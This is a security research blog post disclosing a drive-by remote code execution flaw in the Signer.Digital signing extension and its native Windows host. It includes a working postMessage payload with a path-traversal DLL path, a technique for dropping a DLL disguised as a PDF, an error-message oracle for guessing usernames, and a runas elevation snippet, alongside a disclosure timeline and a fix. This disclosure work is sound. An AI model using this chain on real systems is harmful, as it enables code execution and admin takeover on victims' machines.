← Back to blogTrusted by NVIDIA, Amazon and Banks, This Extension Let Any Website Run Code on Your PC
/James Arnott
Share

Trusted by NVIDIA, Amazon and Banks, This Extension Let Any Website Run Code on Your PC

TL;DR. Signer.Digital's content script forwards any web page's postMessage to its native host with no origin check. The host appends the path from that message to C:\Windows\System32\ and LoadLibrarys the result, so a ..\..\ traversal loads any DLL on disk and runs its DllMain - code execution from a page you merely visited. (The host's error messages also leak a file-existence oracle, which we used to find the victim's Downloads path.) Affected: extension glghokcicpikglmflbbelbgeafpijkkf v5.1.2 / native host v5.1.1.0; fixed in host v6.0.0.0 (with extension v5.2.0) on 26 June 2026 - but the host update is the one that counts. CVSS 9.33 | CVE pending.

Intro

Signer.Digital is a digital-signing extension by Chartered Information Systems (CISPL), used across India for government portals, tax filings and internet banking - over 3 million users1, on a client list that includes banks, government, NVIDIA, Amazon and Cisco2. It pairs a Chrome extension with a native Windows helper that talks to your signing hardware. Until we reported it, any web page you visited could use that helper to run code on your machine. Its own security page sells the product on "Unmatched Security" from "an ISO 27001 Certified Development Center".

There's a patch now, but don't count on it reaching you: it lives in the native host, not the auto-updating extension, and the host's own updater is a dead channel (more below). If you have Signer.Digital installed, assume the auto-update hasn't saved you; the only sure fix is reinstalling the host by hand.


The Exploit

The extension's content script listens for messages from the page and forwards them straight to the native host. The "authentication" is one hardcoded string, src: "user_page.js":

window.addEventListener(
  "message",
  function (event) {
    if (event.source !== window) return;
    if (event.data.src && event.data.src === "user_page.js") {
      chrome.runtime.sendMessage(event.data, function (resp) {});
    }
  },
  false,
);

No origin check, no allow-list of which actions a page can call. The content script runs on every site you visit, so any frame on any origin can hand any command to the native host - including high-risk ones like GetSCDetailsAndCerts, GenCSR and ImportCER. It's the same trust-the-page mistake we found in Urban VPN and MultiPassword; here the sink is LoadLibrary. Signer.Digital's licensing checks all run in the page world, so an attacker page just skips them.

So a web page sends this:

window.postMessage(
  {
    src: "user_page.js", // the only "password"
    action: "GetSCDetailsAndCerts",
    PKCS11Lib: "..\\..\\Users\\<USER>\\Downloads\\reminder.pdf",
    nonce: "abcd...",
    origin: location.origin,
    browser: "chrome",
  },
  "*",
);

And on the other side, the native host does this (reconstructed from the .NET IL):

public TxnResp GetSCDetailsAndCerts(string PKCS11Lib) {
    var resp = new TxnResp { IsSuccess = true };
    string path = "C:\\Windows\\System32\\" + PKCS11Lib;   // <- unsanitised concat
    if (!File.Exists(path)) {
        resp.IsSuccess = false;
        resp.TxnOutcome = "Required Smartcard driver " + path + " not found...";
        return resp;
    }
    var lib = Factories.Pkcs11LibraryFactory
        .LoadPkcs11Library(Factories, path, AppType.MultiThreaded);  // <- LoadLibrary
    // ...
}

String.Concat is the entire defence. A leading ..\..\ escapes System32\ and points LoadPkcs11Library (Win32 LoadLibrary via Pkcs11Interop) at any file the user can read. The loader runs a DLL's DllMain before Pkcs11Interop ever calls C_GetFunctionList, and before the host checks whether the file is a real driver. It doesn't have to be a real driver, it just has to be a DLL.

Exploit flow: victim visits the attacker page and a DLL named reminder.pdf is downloaded to Downloads → the page postMessages the extension (no origin check), forwarded to the native host → the host concatenates and LoadLibrary's the planted file via path traversal → DllMain runs as code execution

Page to native code execution, with nothing in between checking who's asking

Getting Your DLL onto the Disk

Path traversal lets the host load a file. You still need a file to load, at a path you can predict.

It takes one download. The attacker serves the stage-1 DLL named reminder.pdf, typed as application/pdf. LoadLibrary ignores the extension, but Chrome doesn't: a .dll or .exe trips its dangerous-file warning, while a .pdf sails through. Chrome drops it in %USERPROFILE%\Downloads, and the first programmatic download per navigation lands without a click - a chip shows in the toolbar, but the victim never approves anything.

Now you need the username to build ..\..\Users\<USER>\Downloads\reminder.pdf. The host gives you that too. Its responses fall into a few buckets:

Response containsMeaning
Required Smartcard driver ... not foundthe file doesn't exist
Unable to load 32-bit unmanaged library into 64-bit runtimeexists, wrong bitness / not a PE
Unable to get pointer for C_GetFunctionList ...a 64-bit PE, but not a PKCS#11 lib
Method C_GetFunctionList returned CKR_...our DLL loaded and DllMain ran

(Strictly, the bottom two rows both mean the file loaded and DllMain already ran - we just export a dummy C_GetFunctionList so our DLL lands in the distinctive CKR_ bucket and we know the hit is ours.)

That oracle only reads paths the host's user can read - which is all you need, and it doubles as the username step. Point the load at ..\..\Users\<name>\Downloads\reminder.pdf for each name in a wordlist of common Windows usernames. Wrong guesses come back "not found"; the victim's own profile is the one path that's both present and readable, so their name returns the "DllMain ran" response - identifying the user and firing the payload in one request. A 1,000-name list finished in ~3 seconds on the test box. (Loading straight off a remote \\attacker\share UNC path would skip the download and enumeration, but the concat welds your input onto a hardcoded C: root, so the path is anchored to the local disk.)

From "code runs" to "admin"

User-context RCE is already bad, and getting from there to administrator is short. The stage-1 DLL downloads a small admin-manifested helper, drops it to %TEMP%, and calls ShellExecuteEx with the runas verb:

SHELLEXECUTEINFOW sei = { .cbSize = sizeof sei, .lpVerb = L"runas", .lpFile = helperPath };
ShellExecuteExW(&sei);  // one UAC prompt
Windows UAC prompt: "Do you want to allow this app from an unknown publisher to make changes to your device?" for sd_admin_helper.exe, Publisher: Unknown

The single UAC prompt the chain triggers - "Publisher: Unknown", the same look as the vendor's own updater

The victim sees a single UAC prompt, and it looks exactly like a Signer.Digital update: yellow shield, "Publisher: Unknown". The vendor's own auto-updater, CISPLAutoUpdate.NET.exe, is itself unsigned and manifest-elevated, so users are already trained to click straight through an unsigned, "Publisher: Unknown" prompt. One click later, you're administrator. (This assumes the victim is a local admin - the default on consumer Windows. A standard user gets a password prompt instead, and the chain stops at user-context code execution.)

Two-buttons "hard choice" meme: one button reads "Click 'yes' on the admin prompt to update the native host", the other "Click 'no' on the admin prompt as it might be an attacker"; the sweating man is labelled "Signer Digital clients" - the same UAC prompt means "legitimate update" and "attacker escalating to admin", which is the whole problem

There's no right answer: the legitimate update and the attacker fire the same "Publisher: Unknown" prompt

We verified the whole thing end-to-end on a Windows 10 (19045) / Chrome 147 box - the elevated helper wrote C:\admin_pwned.txt with a whoami /priv dump of the full administrator token.

Proof MessageBox titled "Signer.Digital RCE PoC" stating the machine was pwned via drive-by web page to path-traversal LoadLibrary to ShellExecute runas to an Administrators token, running at admin integrity level

End of the chain: a dialog running at admin integrity level, from a page the victim merely visited

Who's Running This

Signer.Digital isn't a niche tool. On its own site, Chartered Information Systems lists a "galaxy of clients" of around 70 organisations - a who's-who that includes HDFC Bank, CDSL (the depository that underpins India's securities markets), the Telangana Government, Bharat Electronics, NVIDIA, Cisco, HP, Samsung, Amazon.in, Tata, Aditya Birla, Vedanta, and pharma names like Wockhardt and Hetero.

These are the organisations Signer.Digital publicly claims as customers of its signing products2.

Signer.Digital's "Galaxy of Clients" wall, as published on their own website

Signer.Digital's own "Galaxy of Clients", from their site

The Fix

The single most important fix is one function. Drop the string concat and validate against an allow-list of the real PKCS#11 driver names the extension already knows about (eps2003csp11v2.dll, eTPKCS11.dll, SignatureP11.dll, and friends - they're enumerated in sdscript.js), then build the path from that validated name with Path.Combine and reject anything whose canonical path escapes System32. That alone kills the drive-by RCE. Beyond that: origin-check the content script, enforce the licence check on the host rather than in the page, and sign CISPLAutoUpdate.NET.exe.

The Catch: the Fix Can't Auto-Update

The native host has a built-in auto-updater, but for anyone already on the 5.x line it's a dead channel, and v6.0.0.0 doesn't change that.

The host checks its own 5.1.1.0 assembly version against the version the vendor feed advertises, and only updates if the feed's version is strictly greater than what's installed. The feed - which we re-checked while writing this - advertises 3.3.0.0:

GET https://products.charteredinfo.com/api/productversion?productname=Signer.Digital.Browser.Extension.Win.NET&type=autoupdate

{"Status_cd":"1","Data":"{\"ProductName\":\"Signer.Digital.Browser.Extension.Win.NET\",\"ProductLink\":\"https://products.charteredinfo.com/updates/SD.BE.Win.NET.Updt.Zip\",\"Type\":\"AutoUpdate\",\"Version\":\"3.3.0.0\"}"}

5.1.1.0 is already newer than 3.3.0.0, so the version check (localVer.CompareTo(serverVer) >= 0) takes the "you're up to date, skip" branch on every run. No host on the 5.x line can pull an update while the feed sits at 3.3.0.0, so v6.0.0.0 can't reach existing users through the product's own mechanism. We saw no auto-updates on our sandbox, and as of writing the feed version hasn't changed. We've saved the Internet Archive response to track changes to this payload.

For anyone already running Signer.Digital, the fix may as well not exist until they go and reinstall it by hand.

The Timeline

This was a cooperative disclosure. Signer.Digital answered their emails, took the report seriously from the start, reproduced it, asked good questions, and shipped a fix in 49 days - more than we can say for plenty of vendors we've dealt with.

  • 8th May 2026: Reported to Signer.Digital (info@signer.digital) with a working PoC and a video demo. Offered standard 90-day disclosure, dropping to 40 days if there was no response.
  • 12th May 2026: Signer.Digital acknowledged and forwarded the report to their technical team.
  • 19th May 2026: We followed up for an update.
  • 20th-21st May 2026: Our emails to Signer.Digital started bouncing - their mail server timed out, then rejected external mail outright (503 ... requires authentication). We re-routed through a secondary address.
  • 21st May 2026: Given the extension's banking and healthcare user base, we also reported to CERT-In, India's national CERT.
  • 22nd May 2026: Signer.Digital confirmed their technical team had reproduced the issue and were working on a resolution.
  • 25th-26th May 2026: The vendor asked for remediation advice. We recommended validating against a preset allow-list of DLL names rather than a caller-supplied path, blocking traversal, and at minimum enforcing a .dll extension. Their analyst had independently reached the same conclusion - validate the DLL name, not the path - and asked for ~2 weeks, as the responsible developer was travelling.
  • 26th June 2026: Fix released. Signer.Digital shipped Extension v5.2.0 with native host v6.0.0.0, 49 days after the report. The extension patch which was released did not mitigate or fix this issue.

CVE requested, pending assignment.

What You Should Do

If you have Signer.Digital installed, the fix is in the native host, not the extension, so the Chrome Web Store update won't save you (we confirmed the patched extension alone still leaves the RCE fully exploitable), and the host's own updater won't pull it either. Don't wait for a prompt; it isn't coming. Reinstall the native host from the vendor by hand and confirm it's on v6.0.0.0 (paired with extension v5.2.0). If you don't actively need it for signing, just remove both.

We didn't go looking for this one. Our scanning pipeline flagged Signer.Digital's native-messaging surface, we pulled the thread, and ended up with a CVSS 9.3. Auditing the source of every extension your company runs by hand isn't realistic, so we watch the ones your team actually has installed and flag when one turns into a liability.

Check out our free scanner to see what your extensions you have installed are up to, or our organisation scanner to see what risk everyone else is putting your company at.


1 Over 3 million users across the Chrome Web Store and Edge. Chartered Information Systems also reports issuing 2.5 million+ digital certificates and 15 million+ ePass tokens (about page).

2 Client names as published on Signer.Digital's clients page ("Galaxy of Clients"). Listing reflects the vendor's own marketing as of June 2026; it indicates an organisation is a Chartered Information Systems customer, not that it deployed the affected browser extension. The full set as listed: NCT, Schindler, Hosley, FIITJEE, HP, Wockhardt, SREI, Dabur, Cargill, Mail Today, Bharat Electronics, MP Birla, Sonata, Suzlon, Excelra, Aaj Tak, Comparex, SSRC, Birla-Century, Wonder Cement, SMS Infra, Havells, Aditya Birla, John Deere, Cisco, Tata, CityWalk, Samsung, Vedanta, KraftHeinz, TV Today, ITC Infotech, NeML, MCTE-MHOW, MSC Cargo, Xoriant, PUDA, Muthoot, Emerson, Essel Group, Lux, Gulf Oil, Cox & King, CGG, Telangana Government, Apollo Munich, Wix.com, Dulux, Amazon.in, CDSL, HDFC Bank, Star, Max, Hero MotoCorp, Blue Chip, Invesco, GVK BIO, Yatra, Mitsubishi Electric, Reliance Power, Hetero, NVIDIA, RDC Concrete, GHMC, Jindal Saw, CEERI, Sify, Tamilnadu Petroproducts, Century Real Estate, Chopda Bank.

3 Our own scoring (CVE pending). CVSS 4.0: AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H = 9.3 (Critical). We use 4.0 because the impact splits cleanly into Vulnerable System (code runs in the host, no clicks) and Subsequent System (the whole OS, which additionally needs one UAC accept and a local-admin victim). Scored strictly on the no-click user-context RCE alone, CVSS 3.1 lands around 8.3.